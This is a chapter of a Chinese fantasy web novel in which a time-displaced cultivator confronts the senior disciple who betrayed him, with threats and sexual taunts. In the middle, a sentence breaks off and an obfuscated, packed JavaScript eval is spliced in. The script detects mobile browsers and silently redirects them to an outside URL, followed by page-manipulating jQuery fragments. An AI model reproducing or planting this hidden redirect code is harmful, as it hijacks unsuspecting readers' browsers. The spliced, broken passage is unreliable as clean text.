47.憎恨
作品:《复仇时发现仇人喜欢我》 段衍一开始觉得要报复陵稹会是一件很简单的事,找到他,狠狠折磨,就这两步而已;可等寻了三年也没找见陵稹一根头发丝时,他才后知后觉,上一回寻他复仇可是足足花了两百年。
那人神出鬼没,居无定所,是顶顶难寻的人。
这三年里,虽他受损的神格已愈,神皇却依旧没有理会过他的呼唤,那镜中人倒是时常出现,但总是没说上两句便被他轰走,他同陵稹之间的事再如何难以言表都不容第三人置喙。
实在找不到事做时,他会去云墟阁看看那些在他的时空中已经故去的人,每一张面孔都还那般生机盎然,对着这个时空里尚还年轻的他笑意盈盈。虽他们看不见来自未来的他,他却已经很满足了。
这些人里从来没有陵稹。三年中他从未在云墟阁现身过,这时的段衍甚至还不认识他,只知道自己有一位神秘的大师兄,连他的名字都不甚清楚。
段衍看着十五六岁时的自己和师弟们勾肩搭背去演武场,言语中提及要下山历练,满是肆意的傲气:“师父说这不能去,那不能去,我偏不,这些个地方,断拦不住我段衍。”
师弟一脸艳羡:“师兄真厉害。那你打算先去哪边?”
“嗯……”他想了想,道:“往东魔域都是些丑八怪,往西乌林是秃驴们的地盘,南面鬼蜮我没兴致,那去北边吧,去迷渊谷!”
段衍一愣,他怎么忘了,这个年龄的自己和陵稹的初遇恰是在迷渊谷,与其四处瞎逛,不如去陵稹必会现身的迷渊谷“守株待兔”。
十日后,段衍立在云头远远看着年轻时的自己一脸懵懂地踏入迷渊谷,与他一同注视着这个年轻人的,还有崖边那道他再熟悉不过的身影。
他身上环绕着天篆绡,瞧着比完整的天篆绡短上一截,应是还缺了吕家那一块碎片。
年轻时的他初遇陵稹时不理解这个怪人为何要缠着这诡异绢布,但此时站在云头上的他却看得明晰——血蛊封印被破解,施术者受其反噬,胸口会不断往外渗血,因血流缓慢,并不会死,却疼痛钻心。但他了解陵稹,这人对灼烧以外的痛楚格外迟钝,以他的个性,想来是干脆将渗出来的这些心头血废物利用了,用流淌不止的鲜血一刻不停地祭炼天篆绡,以期最快完成。
段衍抿了抿唇,眉头时皱时舒,正如他此时心境,觉得陵稹这是自作自受,纯属活该,又觉得他这是何必,总把自己弄得如此凄惨给谁看。
他握了握手中剑柄,不知为何没有立马出手,而那个他等了十一年的人,在垂眸盯着那年轻人看了片刻后,忽缓缓抬起手掌。
霎时,迷渊谷内升起浓郁的黑暗。段衍认得那个,是蛊魂蛭,但他从来不知,原来初遇时的蛊魂蛭打一开始就是陵稹招来的。
陵稹站在原地,面无表情看着那团黑暗吞噬闯进谷中的青年,对他的惊慌失措无动于衷。
段衍死死盯着他。他以为血蛊解除后他对这人便彻底没了感情,心头不会再为他做的任何事情生出波澜,却没想到……他还能令他更失望。
“你怎么能这么狠?”他突然自云端降落,怨毒地盯着他,恨不能生啖其肉。
陵稹回眸望向他,漆黑瞳孔中掠过一丝叫人看不懂的情绪:“你果然出来了。”
他能听见他,也能看见他。段衍觉得讽刺,世上唯一能感知他存在的人,竟是眼前这个伤他至深的人。
他咬牙切齿:“你若是恨我那般凌辱你,报复我,封印我,我都认,可你为何连一心依赖你的小凤凰都不放过,连这个什么都不知道的人都要杀!”
陵稹忽笑:“你们不都是同一个人么?为何要说得这么割裂。”
段衍微怔,他知道?
陵稹看向那个在蛊魂蛭中挣扎的年轻人,语气平静:“你是阿陆,是小凤凰,也是我这个名为‘段衍’的师弟。你那日说我会在他十六岁这年,进入迷渊谷救走他。”他扭头盯着段衍,忽扯开一抹讽刺的微笑:“但我其实只想杀他,不想救他。”
段衍怒极,一把揪起陵稹衣襟,可还未等他说什么,做什么,陵稹忽然朝着那年轻人的方向微抬下巴:“要杀我?那你可要考虑好,他,也即年轻时的你怎么办,他若死了,你还能存在么?不如这样,我救他,你放了我。这样对我们都好。”
“你,你怎么会变成这样?”段衍难以置信,嘴唇抖了半晌只道出这等苍白无力的问句:“你既然早就知道我是阿陆,为何还要这般对我!我到底哪里对不住你?我为了你……”
“我知道。你没有任何地方对不住我。”陵稹定定望着他,眼神中终于流露出一丝他熟悉的温情,却转瞬即逝,恍若他的错觉,那双冰冷的手用力一根一根扳开他的手指,“但我不得不如此。再给我些时间,我能创造一个对我们都好的未来,届时你再杀我也来得及。”
“什么狗屁好未来!”段衍怒极反笑,将他衣襟攥得更紧:“我就是从未来来的,你除了制造了无数杀孽,一无所成!”
陵稹充耳不闻,他扭头看向那边的年轻人:“再不放开我,就来不及救他了,还是说你真想就地消失?”
段衍胸口起伏得厉害,他真后悔那日没直接把他烧得一干二净。
接下来的一切同他的记忆一样,陵稹救下年轻时的他,两人一前一后回了云墟阁。
段衍自是也跟着去了,他从未对这人动过如此纯粹的杀心,一旦他寻到机会,定要将其碎尸万段。
当看见年轻时的自己躲在门后偷听,瞧见陵稹的脸后却愣在当场时,他忽警铃大作,怎的忘了自己这个年纪完全是个看脸下菜的,这蠢货绝对会对这个蛇蝎心肠却长了一副好皮相的人动心。
他当机立断,当着陵稹的面给年轻时的自己下了一道咒,刻在他那颗已有些躁动不安的心上,禁止他动情,除非陵稹哪天完全死透了,还得是魂飞魄散不能复生的程度。
陵稹静静看着他动作,目光平淡,没有说话,只有声音传入他耳中:“何须如此?”
段衍嗤笑,语气嘲讽:“你的手段我已见识过了,先用用你那虚伪的感情骗人上钩,再用你这肮脏的身子把人彻底套牢,我年轻时可是个愣头青,你这般手段他如何扛得住?”
陵稹目光闪了闪:“你说话真难听。”
“那也比你做出来的事情好看。”
“你大可放心,”陵稹淡淡道:“我只会做我该做的事情,非必要不会靠近他的。”
段衍目光冷冷:“我真恨不能现在就杀了你。”
陵稹笑了笑:“再忍忍吧,会有机会的。”
陵稹一离开云墟阁,他便跟了上去,陵稹驻步回头看向他:“现在要杀我恐怕还是不行。你,啊,应该是年轻时的你,身体中的蛊魂蛭尚未去除,你也知道,那东西只有我这种出身幽冥的人才能驯服。”他似笑非笑:“你这般跟着我,又杀不了我,除了令自己不痛快,似乎毫无作用。”
段衍幽幽盯着他:“杀不了你,我也有得是法子折磨你。”
“是么?”陵稹不以为意:“你的手段无非就榻上那点事,可你自己也说过,于我这般放荡下作又无情无痛之人,这种事只会让我快活。”
段衍万想不到这等话会从他嘴里说出来,他忍不住斥道:“你怎么会变得这么……这么……”他想不到足够有分量,足够能羞辱到对方的形容,怪他不学无术,连骂人的话说来说去也就那老几样。
八年而已,他怎会变得如此陌生。
“别跟着我。”陵稹收起面上嘲弄,目光阴冷地盯着他:“否则我让你今晚就消失。”
他转身继续往前。他知道背后灼人的目光一直盯着他,但那人确实被他唬住,没有跟上来。
三年前他应玄准传讯回门,头一回见到他这个名义上的师弟。
那是个一脸天真烂漫的孩子,被云墟阁众弟子们围在中间,长老们也破天荒齐聚一处,慈爱地看着他。
他冲着人群笑得灿烂,如被朝霞簇拥着的初生旭日,云墟阁上下所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010679|176332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人都很喜欢他。当然,这合情合理,凤凰之心的新载体,又融合了那样多的先天清气,本就该如此万众瞩目。
他胸膛中却涌上一股被悲怆加持了的灼心之痛,这就是玄准费尽心思取得凤凰心与他的同胞残魂后炼制而成的宿体么……如此残忍暴虐的手段,怎么能炼出如此纯良无辜的人?
“既来了,为何不过来?”
玄准抬眸,越过厚重云层,看向立在云端的陵稹:“你不想亲眼看看他吗?这既是与你同源的胞亲,也是你心软认下的手足,而今又是你同脉的师弟,与你是远超任何人的亲近。”
胞亲?手足?陵稹无法将这两个名头冠在这个孩子头上——凤凰的心在其胸腔内跳动,同胞的先天清气在其经脉中流淌,他的手足和胞亲只是被迫组成了这孩子的一部分器官,其本质却是由玄准一手教导培养的,完美的神之宿体。
玄准眯了眯眼睛:“怪了,你看起来并不喜欢他?”
陵稹收敛情绪,平静道:“弟子只是不习惯同生人打交道。”
他垂下目光,厌憎地望着云上自己的影子。他恨自己不够强大,恨自己还得在玄准跟前低眉顺眼,装什么都不知道,什么都不计较。
他装得应是很好,玄准满意地点了点头,又劝道:“生人处久了便也熟了,人生在世,没有亲人朋友怎么行呢?”
亲人朋友?陵稹有些喘不过气。他的手掌又开始发烫,仿佛捧着小凤凰垂死身躯时沾上的那些炽热的血还黏在上头;耳畔也出现幻听,仿佛那些被他带出幽冥的叽叽喳喳的怨灵们还在他身边欢腾……他怎么能什么都没保护好。
他死死盯着那个拥有了一切的天命之子,他知自己理应心生怨憎与杀意,可他又在清楚不过……那个孩子,便是未来的阿陆。
他束手无措之际,极北之地冰海下的封印突然解开了。
他顿觉惶恐。一切似乎都在按石板上对于神之宿体命运的预测进行——凤凰之心的载体,集全部清浊二气于一身,终成天命神祇,开启天门,执掌万古时空,摧毁六界,并于废墟中重铸新秩序。
他不知玄准和那些皈依他的信众为何要这般费力破坏旧秩序旧世界,也无心探究,他只知这与他的使命全然背道而驰。
祂既已破出封印,他大抵再没什么强制手段困住祂了。
幸而还有一线生机,只要祂还不知晓祂的使命与尊名,只要还未将他这最后一缕先天清气吞噬,他还有机会将天门彻底封死,或者杀了这个尚一无所知的孩子,摧毁凤凰心,源头上阻隔那个可怕的未来。
可那孩子抬头看向云,隔着厚厚云层望进他的眼,他霎时动不了任何杀心。他连冰海下已成型大半的神祇都舍不得杀,更何况这个无辜的孩子。
他想他还是得换一个法子。
他知道挣脱封印后的阿陆必然会来找他,他必须拖住祂,不能让祂知晓任何有关祂使命的事情从而唤醒祂的神性;也不能让祂回到祂的时空,接触到会告知祂这些的人。
他不想对祂那般冷酷无情,但他不得不如此。
段衍冷冷看着陵稹的身影消失在茂密的树丛间,他确实没跟上去,但也不是什么都没做——他在陵稹身上留了一道无法剥离的印记。
自从冰海底下出来后,他便觉自己像是突破了某种桎梏,实力飞涨,同时还多了些小手段,譬如他此时用的这一手,便是将神明烙印悄无声息留在目标身上。
烙印究竟是神罚还是神眷,皆在神明一念之间。段衍方才所言的折磨人的法子,便是这个。
他面无表情地掐了个指诀,刚驾云飞出去不远的陵稹便忽觉周身异样,一时间竟令飞剑失控,连人带剑直直坠入下方树林里,惊动了一林子的乌鸦。
直到鸟群乌压压地挤满大半天空,段衍才不慌不忙地走了过去。
他在一棵树下驻足,仰头看着勉强用灵力稳住身形,停在树上的陵稹,故作惊讶:“哎呀,我还道你已走了呢,怎么还在这儿?”